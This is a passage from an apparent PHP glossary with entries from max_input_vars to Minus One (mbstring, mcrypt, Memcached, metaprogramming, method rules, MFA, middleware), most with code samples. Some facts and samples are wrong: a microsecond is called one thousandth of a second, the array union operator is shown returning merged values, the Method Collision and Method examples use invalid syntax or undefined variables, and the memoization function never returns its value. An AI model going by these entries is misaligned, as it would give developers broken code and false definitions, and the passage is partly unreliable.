The default value is 1000. When a request exceeds that limit, PHP silently drops the extra variables instead of raising a catchable error: a warning is only emitted if E_WARNING is part of error_reporting and displayed, which makes the failure easy to miss in production.
This directive exists to mitigate a denial-of-service vector related to hash collisions in the internal array implementation: a request with a huge number of keys forces expensive hash-table rebuilding. Large forms, big multi-select inputs, or deeply structured JSON-like arrays submitted as form fields are the usual reasons legitimate applications need to raise this value.
max_input_vars can only be set in php.ini, a virtual host configuration, or .htaccess: unlike memory_limit, it cannot be changed with ini_set() at runtime, since the limit must be enforced while the request body is still being parsed, before user code ever executes.
See Also
Related
- Directives
- PHP, Hypertext Preprocessor (PHP)
- ini_set()
- $_GET
- $_POST
- $_COOKIE
- Memory
- max_execution_time
max_memory_limit
max_memory_limit is not a PHP core directive: it designates the pattern, used by several frameworks and CMS, of defining an upper bound that a script is allowed to raise memory_limit to at runtime, on top of the regular, lower, day-to-day memory_limit.
The best known example is WordPress’ WP_MAX_MEMORY_LIMIT constant, which caps the value that wp_raise_memory_limit() may apply with ini_set('memory_limit', ...) when running memory-hungry admin tasks, such as image processing or plugin updates, while WP_MEMORY_LIMIT keeps the front-end footprint low.
This two-tier approach avoids granting every request the same generous ceiling: routine requests keep a conservative memory_limit, while a small set of known heavy operations may temporarily request more, up to max_memory_limit, without risking unbounded memory consumption on the rest of the application.
<?php
// WordPress-style pattern
define('WP_MEMORY_LIMIT', '64M');
define('WP_MAX_MEMORY_LIMIT', '256M');
function raise_memory_limit(string $context = 'admin'): void {
$current = ini_get('memory_limit');
$limit = $context === 'admin' ? WP_MAX_MEMORY_LIMIT : WP_MEMORY_LIMIT;
if ($current !== '-1' && wp_convert_hr_to_bytes($limit) > wp_convert_hr_to_bytes($current)) {
ini_set('memory_limit', $limit);
}
}
?>
See Also
Related
mb_substr()
mb_substr() extracts a portion of a string, counting positions in characters rather than in bytes, so it works correctly on multibyte text such as UTF-8.
The function takes a start position and an optional length, both counted in characters: a negative start counts from the end of the string, and a negative length stops that many characters before the end, the same conventions used by substr(). Unlike substr(), which can cut a multi-byte character in half and produce invalid text, mb_substr() always returns whole characters.
The encoding is normally taken from the internal encoding configured with mb_internal_encoding(), but it can also be passed explicitly as a fourth argument, which is safer in code that may run under different default encodings.
<?php
$text = 'Héllo Wörld';
echo mb_substr($text, 0, 5); // 'Héllo'
echo mb_substr($text, -5); // 'Wörld'
echo substr($text, 0, 5); // mangled: cuts a multi-byte character
?>
Related
Multibyte String
mbstring is the PHP extension dedicated to processing multibyte character strings, that is, text encoded in character sets where a single character can occupy more than one byte, such as UTF-8, UTF-16, EUC-JP, Shift-JIS, or Big5. Native PHP string functions like strlen, substr, or strtoupper operate byte by byte and were designed for single-byte encodings such as ASCII or Latin-1; applied blindly to multibyte text, they routinely miscount character lengths, cut a multibyte character in half, or fail to case-convert characters outside the ASCII range. mbstring provides a parallel set of functions, all prefixed with mb_, such as mb_strlen, mb_substr, mb_strtoupper, and mb_convert_case, that are character-aware and behave correctly regardless of the encoding in use. Beyond string manipulation, the extension also performs encoding detection and conversion between character sets through mb_convert_encoding and mb_detect_encoding, integrates with regular expressions through a multibyte-safe regex engine, and can override PHP’s built-in string functions transparently via configuration so that legacy code becomes multibyte-safe without modification. It is essential for internationalized applications handling Asian languages, emoji, or any text outside the ASCII range, and is bundled with most PHP distributions though it must still be enabled explicitly.
<?php
/* Convert EUC-JP to UTF-7 */
$str = mb_convert_encoding($str, "UTF-7", "EUC-JP");
?>
See Also
Related
- Iconv
- Encoding
- Text Encoding
- strtolower()
- strtoupper()
- mb_substr()
- Normalisation
- str_split()
- strlen()
Model Context Protocol (MCP)
An MCP server usually refers to a server that implements the Model Context Protocol, or MCP. It’s a relatively new standard used to connect AI models, like assistants or coding agents, with external tools, data sources, and services in a structured way.
See Also
Related
- Artificial Intelligence (AI)
- Large Language Model (LLM)
- Application Programming Interface (API)
- Protocol
- Tool
- Retrieval Augmented Generation (RAG)
Related packages
mcrypt Extension
mcrypt is a PHP extension that provides access to the mcrypt library. It provides a variety of cryptographic algorithms.
mcrypt was deprecated in version 7.1 and removed in version 7.2. It is recommended to use sodium or openssl instead.
<?php
$key = pack('H*', "bcb04b7e103a0cd8b54763051cef08bc55abe029fdebae5e1d417e2ffb2a00a3");
$key_size = strlen($key);
echo "Key size: " . $key_size . "\n";
$plaintext = "This string was AES-256 / CBC / ZeroBytePadding encrypted.";
# create a random IV to use with CBC encoding
$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
$ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key,
$plaintext, MCRYPT_MODE_CBC, $iv);
?>
See Also
Related
Message Digest Algorithm 5 (MD5)
MD5 is a hash function, that produce a 128-bit footprint for a value.
MD5 was used a lot for secure hashing and control. Nowadays, it may be useful for hashing and comparing data, though it is not considered secure.
<?php
//Generate a MD5 hash with the history md5() native function
echo hash('md5', 'Le rapide goupil brun sauta par dessus le chien paresseux.');
//Generate a MD5 hash with the history md5() native function
print md5("Some text.")
?>
See Also
Related
Memcached
Memcached is a distributed, in-memory key-value store used to cache the results of database queries, API calls, or rendered fragments, so that repeated requests can be served from RAM instead of recomputing them. Unlike APCu, whose cache lives inside a single PHP process pool, Memcached runs as a separate daemon and can be shared across many web servers, making it a natural fit for load-balanced, multi-server deployments.
PHP talks to Memcached through the Memcached extension, built on libmemcached, which offers a richer API, including binary protocol support and consistent hashing across a server pool, than the older, now unmaintained, memcache extension.
A Memcached instance connects to one or more servers with addServer(), then stores and retrieves values with set() and get(), optionally passing a TTL, time-to-live, after which the entry is evicted. Memcached has no built-in persistence: on restart or eviction under memory pressure, cached data is simply gone, so it should only ever hold data that can be recomputed.
<?php
$memcached = new Memcached();
$memcached->addServer('127.0.0.1', 11211);
$memcached->set('user:42', json_encode(['name' => 'Ada']), 300); // cache for 5 minutes
$user = json_decode($memcached->get('user:42'), true);
?>
See Also
Related
Memoization
Memoization is an optimisation technique to speed up a function by avoiding re-processing previously calculated results.
Usually, memoization trades processing time with memory. The best suited situation are when the load takes some time to process, and the result is a small amount of memory, such as a count.
<?php
function docs($file) {
// local cache
static $cache = [];
// If it was already cached, use it.
// Docs are supported to be constant during the execution
if (isset($cache[$file])) {
return $cache[$file];
}
$cache[$file] = file_get_contents($file) ?? '';
}
?>
See Also
Related
Memory Arena
A memory arena is a large, contiguous block of memory that is pre-allocated upfront and then carved into smaller pieces on demand. Rather than calling the system allocator individually for each object, code requests slices from the arena, which simply advances an internal pointer. When the arena is done, the entire block is freed in a single operation.
The pattern trades deallocation granularity for speed and locality. Individual objects in an arena cannot be freed independently; the whole region is reclaimed at once when the arena’s lifetime ends. This makes arenas well-suited for short-lived, batch-style work such as parsing, compilation, or request processing where many small allocations are created together and discarded together.
PHP’s Zend Engine uses arena allocators internally for per-request memory. The emalloc/efree family of functions that extensions use are backed by a per-request arena that is wiped at the end of each request, making object-by-object deallocation unnecessary. OPcache similarly uses dedicated memory regions for its shared memory segment. PHP’s JIT compiler uses arenas for generated machine code buffers.
From a PHP developer’s perspective, arenas are invisible: the engine manages them automatically. Understanding them helps explain why PHP’s per-request memory model is efficient and why memory_limit is enforced at the request level rather than the object level.
See Also
Related
- Memory
- memory_limit
- Garbage Collection
- Zval
- Opcache
- Just In Time (JIT)
- Shared Memory
- Memory Leak
- php://memory
Memory Leak
A memory leak is the allocation of memory, without its deallocation when that memory is not needed anymore.
As PHP manages the memory itself, memory leaks happen in different situations:
- Accumulation of data, without release. For example, an array that collects new data and never removes them.
- Circular reference: objects or variables keep a link one onto each other, and the PHP garbage collector sees them in use.
- Disabled garbage collector: the garbage collector was disabled, and does not perform collection
- Bugs: sometimes, the memory usage is not voluntary.
See Also
Related
Memory
Memory refers to the portion of server RAM that PHP uses to execute scripts.
Whenever a PHP application runs, it needs memory to load the PHP engine, parse the code, store data and various caches.
Memory usage is controlled by the memory_limit directive, and functions like memory_get_usage().
PHP handles the memory management, and there is little more to do beyond setting the overall limit, although some features may become memory hungry easily, such as array_merge() in loops, or the N+1 query problem.
See Also
- Mastering PHP Memory Limits: A Complete Guide
- PHP Memory Management: How to Monitor Usage, Peaks, and Limits
Related
memory_limit
memory_limit is the directive that caps the maximum amount of memory that PHP can use.
The limit is expressed in bytes, although options are available for kb K, Mb M and Gb G, case insensitive.
The limit may be lifted by setting this directive to -1.
PHP requires a minimum of memory when starting. Usually, it is about 2Mb of RAM. Setting any positive value for memory_limit below that threshold prevents PHP from starting.
The default value of memory_limit is 128 Mb.
memory_limit may be changed during execution with ini_set().
<?php
echo ini_get('memory_limit'); //128M
?>
See Also
Related
Merge
To merge is the action of combining two things into one. There are usually two meaning associated with PHP code:
- Merging arrays, with the eponymous function
array_merge(), or the+operator - Code merge, using a VCS, such as git, svn, etc.
<?php
$array1 = [1,2];
$array2 = [3,4];
array_merge($array1, $array2); // [1,2,3,4]
$array1 + $array2; // [1,2,3,4]
?>
See Also
Related
Message Bus
A message bus is a communication mechanism that allows different components or services to exchange messages in a decoupled manner. It acts as an intermediary channel through which senders publish messages and receivers consume them, without either party having direct knowledge of the other.
In applications, a message bus is typically implemented as an synchronous in-process dispatcher or as a wrapper around an asynchronous external message broker. The Symfony Messenger component is a popular PHP implementation that supports both modes and can route messages to queues backed by AMQP, Redis, Doctrine, or other transports.
A message bus often covers three patterns:
- Command bus: routes commands to a single handler.
- Event bus: broadcasts domain events to multiple listeners.
- Query bus: routes queries to a single handler that returns a result.
Using a message bus decouples the code that sends a message from the code that handles it, improving maintainability, testability, and scalability.
<?php
// Symfony Messenger: dispatching a command
use App\Message\SendEmailNotification;
use Symfony\Component\Messenger\MessageBusInterface;
final class UserRegistrationService
{
public function __construct(
private readonly MessageBusInterface $bus,
) {}
public function register(string $email): void
{
// ... persist the user ...
$this->bus->dispatch(new SendEmailNotification($email));
}
}
?>
See Also
Related
- Message Queue
- Command Bus
- Command Query Responsibility Segregation (CQRS)
- Event Driven
- Event Sourcing
- Pub/Sub
- Listener
- Middleware Pattern
- Decoupling
Related packages
Message Digest
A message digest is the fixed-size output of a cryptographic hash function, applied to an arbitrary piece of data, called the message. The term comes from the MD family of algorithms, MD2, MD4 and MD5, but it is now used generically for the result of any cryptographic hash.
A message digest acts as a fingerprint: it is small, deterministic, and any change to the original message, even a single bit, produces a completely different digest. This makes digests useful to detect tampering, verify downloads, and sign data.
Unlike a checksum, which mainly targets accidental corruption, a message digest is designed to resist deliberate manipulation: it should be computationally infeasible to find two different messages producing the same digest, an event called a collision, or to reconstruct a message from its digest alone.
Message digests are produced with the hash() function, or its dedicated shortcuts such as md5() and sha1(). Older algorithms like MD5 and SHA1 are now considered broken for security purposes, and SHA256 or better should be preferred.
<?php
// generic access, through the hash extension
echo hash('sha256', 'The quick brown fox jumped over the lazy dog.');
// dedicated shortcut functions
echo md5('The quick brown fox jumped over the lazy dog.');
echo sha1('The quick brown fox jumped over the lazy dog.');
?>
See Also
Related
- Hashing
- Hash
- Cryptographic Hash
- Message Digest Algorithm 5 (MD5)
- Secure Hash Algorithm (SHA)
- Checksum
- Cryptography
- Weak Cryptography
- Digital Signature
Message Queue
A message queue server is a middleware component or service that facilitates communication between different software components or systems by enabling asynchronous message passing. It provides a mechanism for sending, storing, and receiving messages between different parts of an application or between separate applications, often across distributed or networked environments.
Message queues are commonly used in scenarios where components need to communicate and exchange data without requiring immediate responses or direct interaction. This decoupling of components through asynchronous communication offers several advantages, including improved scalability, fault tolerance, and responsiveness.
See Also
Related
- Jobqueue
- Message Bus
- Pub/Sub
- Queue
- Serialization
- Change Data Capture
- Distributed Systems
- Event Streaming
- Fire-and-forget
- Internet of Things (IoT)
Related packages
Meta-object Protocol (MOP)
A Meta-object Protocol, also called for MOP, is an API that exposes a language’s own object system as a first-class, programmable layer. Through a MOP, user code can redefine how classes are created, how methods are looked up and dispatched, how instances are allocated, and how inheritance is resolved: extending or replacing the object model itself from within the language. The canonical MOP is CLOS, Common Lisp Object System, which exposes generic functions such as make-instance, compute-applicable-methods, and slot-value as overridable entry points.
Python’s data model, with __new__, __init_subclass__, __class_getitem__, metaclasses, and Ruby’s BasicObject and method_missing give partial MOP-like access. Smalltalk’s entire class hierarchy is itself a set of Smalltalk objects, making it fully reflective by design.
PHP does not have a Meta-object Protocol. PHP’s object system is implemented in C and is not programmable from userland. PHP does provide several approximations:
- The Reflection API,
ReflectionClass,ReflectionMethod,ReflectionProperty, exposes read access to the object model at runtime, but cannot modify it. - Magic methods,
__get,__set,__call,__callStatic,__isset,__unset, intercept individual property and method access operations, giving hook points that resemble parts of a MOP. class_alias()lets user code create alternative names for classes, but cannot alter dispatch behaviour.Closure::bind()andClosure::bindTo()allow closures to be rebound to a different object scope, approximating dynamic method injection.- Libraries such as
ocramius/proxy-managerimplement lazy-loading and interception proxies on top of these primitives, simulating part of what a MOP would provide natively.
<?php
// PHP Reflection: read-only introspection of the object model.
// A true MOP would also allow redefining dispatch and instantiation.
$rc = new ReflectionClass(ArrayObject::class);
foreach ($rc->getMethods(ReflectionMethod::IS_PUBLIC) as $method) {
echo $method->getName() . "\n";
}
// Magic methods: intercept property/method access, limited MOP hooks.
class DynamicEntity {
private array $data = [];
public function __get(string $name): mixed {
return $this->data[$name] ?? null;
}
public function __set(string $name, mixed $value): void {
$this->data[$name] = $value;
}
public function __call(string $name, array $args): mixed {
// intercept unknown method calls, not full method-dispatch override
throw new \BadMethodCallException("No method: $name");
}
}
// Rebind a closure to a different object scope (approximates method injection)
$greet = Closure::bind(
static function (string $suffix): string { return self::class . $suffix; },
null,
DynamicEntity::class
);
?>
See Also
Related
- Reflection
- Magic Methods
- Metaprogramming
- Homoiconicity
- Proxy
- Closure
- __get() Method
- __call() Method
- Metaclass
Related packages
Metaclass
A metaclass is a class whose instances are themselves classes. In a language with a full metaclass system, every class is an object, and that object is an instance of a metaclass. The metaclass controls how the class is created, how its instances are instantiated, and how method resolution, attribute access, and inheritance work. Python’s type is the default metaclass; a custom metaclass inherits from type and overrides __new__, __init__, or __call__ to intercept class creation.
Smalltalk was the original language to formalise the idea: every class in Smalltalk has a corresponding metaclass that describes the class’s own behaviour. Ruby’s eigenclasses, singleton classes, serve a related role.
PHP does not have metaclasses. PHP classes are not objects that can be instantiated from a metaclass, and there is no hook point at which user code can intercept or modify class creation at the language level.
PHP approximations of metaclass-like behaviour:
- Abstract classes and interfaces constrain what a class must look like without controlling how it is created.
- The Reflection API
ReflectionClassallows runtime introspection of a class’s structure but cannot alter it. - Magic methods
__get,__set,__call, and__callStaticintercept property and method access on instances, approximating some MOP hooks. - Attribute-driven frameworks such as Doctrine or Symfony DI read class-level
#[Attribute]annotations and generate or register behaviour at build time, simulating what a metaclass might do during class creation in Python. class_alias()can create alternative names for classes but cannot redefine their behaviour.
<?php
// PHP has no metaclass. The Reflection API offers read-only introspection.
$rc = new ReflectionClass(DateTime::class);
echo $rc->getName() . ' has ' . count($rc->getMethods()) . " methods\n";
// Attribute-driven behaviour: closest PHP equivalent to metaclass registration.
#[\Attribute(\Attribute::TARGET_CLASS)]
final class Entity {
public function __construct(public readonly string $table) {}
}
#[Entity(table: 'users')]
class User {
public function __construct(
public readonly int $id,
public readonly string $name,
) {}
}
// A framework reads the attribute at build or boot time — similar to what
// a Python metaclass __init_subclass__ hook would do automatically.
$attr = (new ReflectionClass(User::class))
->getAttributes(Entity::class)[0]
->newInstance();
echo $attr->table; // 'users'
?>
See Also
Related
- Meta-object Protocol (MOP)
- Metaprogramming
- Reflection
- Attribute
- Magic Methods
- Abstract Class
- __call() Method
Metadata
Metadata is data that describes other data: it does not carry the actual content, but information about its structure, origin, or meaning.
Metadata takes several forms:
- Attributes, since PHP 8.0, allow attaching structured metadata to classes, methods, properties, and functions, readable at runtime through Reflection, and used by frameworks for routing, serialization, validation, or dependency injection
- Docblocks, PHPDoc comments, provide informal metadata such as
@param,@return, or@deprecated, consumed by IDE, static analysis tools, and documentation generators, though not by the PHP engine itself - Reflection exposes structural metadata about classes, methods, and parameters at runtime, such as visibility, type declarations, and attributes
- File metadata, such as timestamps, permissions, or EXIF data embedded in images, describes properties of a file rather than a class or function
Metadata is central to many cross-cutting concerns: ORM use it to map classes to database tables, serializers use it to control field visibility, and routers use it to bind URLs to controllers.
<?php
#[Attribute]
class Route {
public function __construct(public string $path) {}
}
class UserController {
#[Route('/users')]
public function list(): array {
return [];
}
}
$method = new ReflectionMethod(UserController::class, 'list');
foreach ($method->getAttributes(Route::class) as $attribute) {
$route = $attribute->newInstance();
echo $route->path; // /users
}
?>
See Also
Related
- Attribute
- Reflection
- Docblock
- Annotations
- EXIF (Exchangeable Image File Format)
- Serialization
- Object Relational Mapping (ORM)
Metaprogramming
Metaprogramming is the practice of writing code that treats other code as data. This is reading, generating, transforming, or executing programs at runtime or compile time. A metaprogram operates at a higher level of abstraction than an ordinary program because it manipulates the representation of programs rather than, or in addition to, running domain logic.
Common metaprogramming techniques include:
- Reflection: inspecting types, methods, properties, or annotations at runtime, with the
ReflectionClass - Code generation: emitting source files, proxy classes, or configuration from schemas, attributes, or templates
- Macros: transforming code at a syntactic level before or during parsing
- Eval: constructing and executing code strings at runtime
- Dynamic dispatch: routing method calls through
__callor__callStaticbased on runtime state - Homoiconicity: using a language’s native data structures to represent and manipulate programs
PHP supports several forms of metaprogramming:
- The Reflection API, with the classes
ReflectionClass,ReflectionMethod,ReflectionProperty,ReflectionAttribute, provides read-only introspection of the live object model. - Magic methods, with the methods
__get,__set,__call,__callStatic,__invoke,__clone,__toString, intercept property and method access at runtime. eval()andcreate_function()execute dynamically constructed code strings.nikic/php-parserenables full AST-level read and write access to PHP source from PHP itself.- PHP 8.0+ attributes allow structured metadata on declarations, consumed at runtime by frameworks and code generators.
- Userland code generators, such as Doctrine proxies, Rector, Symfony DI compilation, etc. produce PHP files before or at application boot.
PHP does not support compile-time generics, hygienic macros, metaclasses, or a Meta-object Protocol: the object model is implemented in C and is not programmable from userland.
<?php
// 1. Reflection: introspect a class at runtime
$rc = new ReflectionClass(ArrayObject::class);
echo $rc->getMethod('offsetGet')->getNumberOfParameters(); // 1
// 2. Dynamic dispatch via magic method
class DynamicProxy {
public function __call(string $name, array $args): mixed {
return strtoupper($name) . '(' . implode(', ', $args) . ')';
}
}
echo (new DynamicProxy())->hello('world'); // HELLO(world)
// 3. Attribute-driven metadata (PHP 8.0+)
#[\Attribute(\Attribute::TARGET_METHOD)]
final class Route {
public function __construct(public readonly string $path) {}
}
class UserController {
#[Route('/users')]
public function index(): void {}
}
$attr = (new ReflectionMethod(UserController::class, 'index'))
->getAttributes(Route::class)[0]
->newInstance();
echo $attr->path; // '/users'
?>
See Also
Related
- Reflection
- Macro
- Homoiconicity
- Code Generation
- Eval()
- Meta-object Protocol (MOP)
- Metaclass
- Template Metaprogramming (TMP)
- Hygienic Macro
- Attribute
- __call() Method
Related packages
Method Collision
A method collision happens when a trait is imported in a class, and it holds a method that already exists in the class.
To solve such a collision, the code must use insteadof and use keywords, in the use expression.
There is no collision between the imported trait and the parent of the class, as the trait has priority over the parent. There is also no collision when a trait imports another trait: the last method has precedence.
<?php
trait Herd {
function trumpet() { echo __METHOD__; }
}
trait Waterhole {
function trumpet() { echo __METHOD__; }
}
class Elephpant {
use waterhole, herd {
use herd::trumpet instead of waterhole;
}
}
new elephpant()->stampede();
?>
See Also
Related
Method Compatibility
Method compatibility means that when a class overrides a method, from a parent class or interface, the new method must keep a compatible signature.
In short, the child method must:
- Have the same or wider visibility, e.g. public stays public, private becomes protected
- Accept the same parameter types, or more general ones
- Return the same type, or a more specific one
- Not require more mandatory parameters
If it’s incompatible, PHP throws a fatal error.
<?php
class Elephpant {
function trumpet(int $a): void {}
function forage(int $a): Elephpant {}
function migrate(int $a): string {}
}
class Calf extends Elephpant {
// This is compatible, as it is identical to the parent method
function trumpet(int $a): void {}
// This is compatible, yet not identical
// the parameter is more general
// the return type is more precise
function forage(int|string $a): Calf {}
// This is not compatible with the parent's method signature
function migrate(int $a): int {}
}
?>
See Also
Related
Method Overloading
Method overloading is a feature that allows multiple definitions of a method, depending on the type of the passed parameters.
Method overloading is a PHP feature, based on the usage of the func_get_args() native function. It differs from other language’s implementation as there is only one method definition, but multiple execution paths. Method overloading usually requires other features, such as typing or default values, to be handled manually.
<?php
//
class Elephpant {
// $a and $b could be typed array|int
// returntype could be array|int
// yet, it may end up being confusing
function substract($a, $b) {
if (is_int($a)) {
return $a - (int) $b;
}
if (is_array($a)) {
return array_diff($a, (array) $b);
}
}
}
?>
See Also
Related
Method Signature
The signature of a method or a function is the list of arguments and constraints that apply when calling it.
In its simplest form, signature of a method is its name, its argument’s type and list, though modern syntax also includes default values, visibilities, attributes and parameter names.
Method signature also applies to functions and closures, where it is also called a function signature or closure signature. It may also be referenced as signature.
<?php
function trumpet(string &$s = 'abc') {}
class Elephpant {
function trumpet(string &$s = 'abc') {}
}
?>
See Also
Related
Method
Methods are functions, dedicated to a class. They are defined inside the body of a class, and may only be accessed in relation to that class: via an object, the class name or another method.
Methods are defined in traits, and then imported in a class for usage.
Methods are also called member functions. Indeed, they are functions, but they belong to an object, just like a member, or property. This is less used.
<?php
class Elephpant {
public function trumpet() {
echo "I am trumpet!\n";
}
}
$elephpant = new Y();
$calf->trumpet(); // calling the trumpet method, defined in Elephpant,
?>
See Also
Related
- Class
- __call() Method
- Default Parameter
- Fossilized Methods
- Functions
- Properties
- Return
- Static Method
- Visibility
- Call Graph
- Callbacks
- Impure Function
- Method Compatibility
- Pure Function
- Trait
- Method Collision
- Non-static
- Relay Function
- Function Subscripting
- Generator
- Modifier
- Recursion
- yield from Keyword
- Yield
Methodcall
A method call is the actual usage of a method. It requires an object, the method name and the arguments for the method.
A method call is based on an object, and the -> and ?-> operators. A method call may be static: the operator is then ::, and the left operand is a class name, expressed as a string; although, it may also be an object, though the class of that object is used, not the object itself.
Methods may be called by using the array syntax: array($object, $methodname)($arguments).
Method call may be chained. This means that the method returns an object, either the current one or another; then another call of method is built on top of this call.
Static methods must be called statically. Method must be called non-statically, although it is possible to call them statically within a class: this is convenient for parent::__construct(), for example.
<?php
class Elephpant {
function trumpet($a) {}
static function stampede($b) {}
}
$elephpant = new elephpant;
// a method call
$elephpant->trumpet(1);
[$elephpant, 'trumpet'](1);
// a static method call
elephpant::stampede(2);
$elephpant::stampede(3);
elephpant::class::stampede(4);
[elephpant::class, 'stampede'](1);
?>
See Also
Related
Metrics
Metrics refer to quantitative measurements used to evaluate the performance, quality, and behavior of the code.
These metrics help understand how the application behaves in production, identify bottlenecks, optimize performance, and ensure code quality.
Here are some common metrics:
- Time of execution
- Memory consumption
- Number of database queries
- Cyclomatic complexity
- Code coverage
- Cognitive complexity
- Code duplication
- Lines of code
PHPMetrics is also the name of an eponymous project.
See Also
- PhpMetrics of Popular PHP Projects
- Using PHP Web Application Performance Metrics for Early Threat Detection
- PHP Performance Monitoring: A Developer’s Guide
Related
- Application Performance Management (APM)
- Monitoring
- Continuous Integration (CI)
- Cyclomatic Complexity
- Cognitive Complexity
- Algorithmic Complexity
- Analysis
Related packages
Multi-Factor Authentication (MFA)
Multi-Factor Authentication, MFA, also called two-factor authentication when exactly two factors are used, is a security mechanism that requires a user to provide two or more independent verification factors before access is granted. The three classical factors are:
- Something known: a password or PIN.
- Something possessed: a hardware token, authenticator app,
TOTP/HOTP, orSMScode. - Something being: a biometric such as a fingerprint or face recognition.
Requiring at least two factors dramatically reduces the risk of account compromise: stealing a password alone is no longer enough.
In the PHP ecosystem, MFA is relevant both at the application level, protecting user accounts, and at the infrastructure level. Packagist, for example, has introduced mandatory MFA for package publishers to harden the supply chain against account takeover.
PHP itself does not ship MFA libraries, but the ecosystem offers several: scheb/2fa-bundle with Symfony, pragmarx/google2fa with Laravel, and generic TOTP/HOTP packages.
<?php
use OTPHP\TOTP;
// Generate a TOTP secret for a user at enrolment time
$totp = TOTP::generate();
$secret = $totp->getSecret(); // store this in the user record
// At login time, verify the code the user typed
$userCode = $_POST['totp_code'];
if (!$totp->verify($userCode)) {
throw new RuntimeException('Invalid MFA code');
}
?>
See Also
Related
- Authentication
- One-Time Password (OTP)
- Single Sign On (SSO)
- OAuth
- Password
- Security
- Supply Chain Attack
- Packagist
Related packages
Micro-optimisation
A micro-optimisation is a piece of code that performs better than another, yet brings only a small gain of performance.
Micro-optimisation should be done only for highly constrained systems, or applications that deliver a high number of hits in short times: usually, it takes one to ten million usages for the gain to be visible.
Yet, micro-optimisations may be valuable in the long run, or as a good practice.
It is often pointless to discuss the micro-optimisation. It is a do or don’t, and should raise a consensus, or be left alone.
<?php
// this is faster than calling 3 times echo
echo 1, 2, 3;
// This is slower, yet it doesn't speed up the process a lot
echo 1;
echo 2;
echo 3;
?>
See Also
- Stop Using These 5 Outdated Optimization Tricks in PHP
- What are compiler optimized internal PHP functions and should you import them via use statement?
- Data-Driven PHP 7 Performance Optimization Methods
Related
- Performance
- Optimisation
- Benchmarking
- PHP Profiler
- implode()
- Latency
- Premature Optimization
- Profiling
- XHProf
Micro-second
Micro-seconds are one thousandth of a second. They are accessible in different ways:
DatetimeandDateTimeImmutableobjects, for datesmicrotime()for dateshrtime()for intervals
Do not use date() to get micro-seconds, as the function always returns 0.
<?php
$ms = (new Datetime()->format('u'));
$ms = microtime(true);
?>
See Also
Related
Micro-framework
A micro-framework is a small, minimal framework that provide only the core essentials for routing and handling HTTP requests, without large stacks or heavy dependencies. Examples include Slim and Lumen.
See Also
Related
Microservice
A microservice is a software architectural style that structures an application as a collection of small, independent services, each focused on performing a specific business functionality. These services are designed to work together seamlessly, usually communicating over well-defined APIs. Unlike traditional monolithic architectures, where an entire application is built as a single, tightly integrated unit, microservices break down the application into smaller, loosely coupled components.
See Also
- PHP and Microservices: Designing and Implementing Microservices in PHP
- How to use PHP to build microservice?
Related
- Application
- Cloud
- Horizontal Scaling
- Spiral
- API Gateway
- Compensation Logic
- Container Orchestration
- Distributed Monolith
- Distributed Systems
- Distributed Tracing
- Distributed Transactions
- Fault Isolation
- Kubernetes
- Service Discovery
- Service Registry
- Shared Database
- Service-Oriented Architecture (SOA)
- Asynchronous Markup Protocol (AMP)
- Correlation ID
- OpenTelemetry
- ReactPHP
- Service Mesh
microtime()
microtime() is a native PHP function, which returns the current timestamp, including microseconds. This is a very precise measure of time.
microtime() is often used for speed measurements, and it may be easily replaced by hrtime() for that purpose, since PHP 7.3.
<?php
$time_start = microtime(true);
// Sleep some time
usleep(100);
$time_end = microtime(true);
$time = $time_end - $time_start;
echo "Slept for $time seconds\n";
?>
See Also
Related
Middleware Pattern
A middleware, or middleware pattern, is a design pattern used to extend the behavior of a component by chaining layers that can modify inputs, outputs, or short-circuit the call, dynamically at runtime.
Unlike the Decorator pattern, middlewares can be added at runtime, conditionally, from configuration. This pattern is inspired by PSR-15, which standardizes HTTP middleware for request handlers.
The key characteristic is that the $next parameter is typed to the component’s own interface, enabling IDE autocompletion and type safety throughout the chain. Implementing the middleware stack requires some glue code to chain the layers together; see the documentation link below for a complete implementation.
<?php
interface HtmlRendererInterface
{
public function render(string $template, array $data = []): string;
}
// The middleware interface mirrors the component interface,
// with an additional $next parameter typed to HtmlRendererInterface
interface MiddlewareInterface
{
public function render(
string $template,
array $data,
HtmlRendererInterface $next,
): string;
}
// Before pattern: modify input, then delegate
class TimestampMiddleware implements MiddlewareInterface
{
public function render(
string $template,
array $data,
HtmlRendererInterface $next,
): string {
$data['generatedOn'] = date(DateTime::ATOM);
return $next->render($template, $data);
}
}
// Before+After pattern: wrap $next to also process output
class CacheMiddleware implements MiddlewareInterface
{
private array $cache = [];
public function render(
string $template,
array $data,
HtmlRendererInterface $next,
): string {
$key = hash('sha256', $template . serialize($data));
if (isset($this->cache[$key])) {
return $this->cache[$key]; // short-circuit: return early without calling $next
}
$this->cache[$key] = $next->render($template, $data);
return $this->cache[$key];
}
}
?>
See Also
Related
- Design Pattern
- Decorator Pattern
- PHP Standards Recommendations (PSR)
- Pipeline
- Response
- Aspect-Oriented
- Message Bus
- Micro-framework
- API Gateway
- Cross-cutting Concerns
- Rate Limiting
- Request
- Slim
Related packages
Migration
Migration is the incremental upgrade of a piece of code.
It is often used for databases, for example, with Laravel database migrations; for components and frameworks, a framework migration: for example, CakePHP migration. Migration applies to versions, a version migration, within a framework, or between two distinct framework.
Usually, migration requires some action from the user, although a migration script may be provided.
Migration may also be called upgrades. They may be paired with a rollback, which allows to go back to the previous state, and try again later.
See Also
Related
- Database
- Upgrade
- Version
- Backward Compatible
- Compatibility
- Rollback
- Refactoring
- Extract, Transform, Load (ETL)
- Referential Integrity
Minification
Minification is the process to remove elements that are useless in a PHP code, without changing its execution.
For example, whitespaces and comments may be removed from PHP code: it makes the code much smaller, but also, less readable.
Minified code has a smaller footprint on the disk, and may be faster to load, read and process. Minifying has very limited impact on PHP code, and is not considered an optimisation technique.
Minification is applied successfully on HTML, CSS, SVG, XML, JSON, JavaScript, and image formats.
Minification may be used for obfuscation.
Unminify is the contrary of minifying.
<?php
// minified version
for($i=0; $i<10;++$i) { print "$i\n";}
// minified version
for($i = 0; $i < 10; ++$i) {
// This displays a number
print "$i\n";
}
// structure that cannot be minified
echo 1 . 2; // displays 12
echo 1.2; // displays 1.2
?>
See Also
- Minify PHP: Should you do it? The Helpful Tools For it?
- PHP minify
- The State of Minification in PHP – How 1 Project Grew into 6
Related
Related packages
Minus One -1
Minus one is the -1 integer. -1 is part of the truthy values: it is the equivalent of true.
-1 is part of the three values returned by the spaceship operator.
0 is a classic magic number, although it has so many uses that it is usually overlooked, as generating too many false positives or scattered issues.
<?php
$zero = 0;
$four = 4 + 0;
// may it returns 1 or -1, this is true
